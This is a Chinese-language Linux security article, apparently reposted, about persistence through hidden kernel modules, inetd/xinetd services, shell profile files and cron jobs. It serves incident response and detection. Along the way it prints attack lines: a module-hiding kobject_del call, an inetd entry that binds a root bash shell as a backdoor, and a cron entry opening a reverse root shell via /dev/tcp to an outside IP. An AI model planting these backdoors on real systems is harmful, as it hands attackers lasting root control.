Linux安全系列之启动篇
有时候最粗糙的隐藏模块手段只隐藏了lsmod命令,我们的可用模块都在/sys/modules下,但是正在运行的模块和没有运行的模块是有特征的,没运行的模块,其模块目录下只有一个空目录parameters 而正在运行的模块,就有这几个目录,如图: 我们可以通过一个脚本来循环比较/sys/modules下各模块目录下parameters的结果和lsmod的结果,来确定是否存在隐藏模块,当然这个很不靠谱。 一行代码kobject_del(&THIS_MODULE->mkobj.kobj);就逃过了检查。这里主要说的是模块的自启动,关于模块的隐藏和检查,我们以后再详说。 至此我们阅尽了linux的一生,希望对大家系统的了解linux有所帮助。 七.网络子服务 一些小服务可以放在inetd/xinetd里托管,他们配置的一些允许开机启动的程序可能会被替换,或者在配置文件里被替换成别的程序,或者在配置文件开启一些危险的服务。如:daytime stream tcp nowait root /bin/bash bash –i就开启了daytime服务绑定了一个shell来作为后门。 不多说,检查/etc/inetd.conf或/etc/xinetd.d即可 八.环境变量 在环境变量文件(/etc/profile.bashrc .bash_profile .bash_logout)里添加命令,当管理员登陆或退出的时候这个命令会执行(类似于windows的启动目录) 曾经我应急响应时就遇到过某电商的一台图片服务器,整个服务器不能解析,但WEB根目录就是一个普通用户的home目录,某黑产大佬,通过前台上传图片的地方,直接上传了一个.bashrc覆盖了原来的.bashrc,当礼拜一管理员登陆这个普通用户时执行了反弹shell,沦陷!!! 九.计划任务 Linux的计划任务有3个地方
其中/etc/crontab和/etc/cron.d/是系统的计划 /var/spool/cron/是用户的计划 我们平常执行的crontab -l 看到的其实是/var/spool/cron/下的东西 黑客通常在这三个地方添加* * * * *这样的内容,意为一分钟后执行,比如这个反弹的rootshell * * * * * root /bin/bash-i>&/dev/tcp/192.168.152.129/4444 0>&1 如果大家搞过渗透测试,遇到像redis,rsync,nfs或者一个上传点可以写入操作系统任意位置的这些漏洞,我们在windows2003下可以写入mof或启动目录,那么linux呢,我们正常写入.bashrc,.ssh/authorized_keys,/etc/crontab,/etc/cron.d/,/var/splool/cron这些位置,可见计划任务目录是我们渗透中永恒的利用主题。 其实对计划任务目录的利用并不是那么容易的,这中间是有细微区别的,因为它们对权限的要求极高,比如/etc/cron.d 这个目录必须具有x权限才能定时执行,/var/splool/cron这个目录想要执行必须不能具有w权限,打个比方,有一个mysql数据库的注入点,mysql是以双root权限运行的,并且没有魔法字符的干扰,也没有secure_file_priv的限制,可以向服务器任意地方写文件,那么你写进这三个计划任务的地方就能得到rootshell吗? 答案是否定的,为什么?
(编辑:源码门户网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |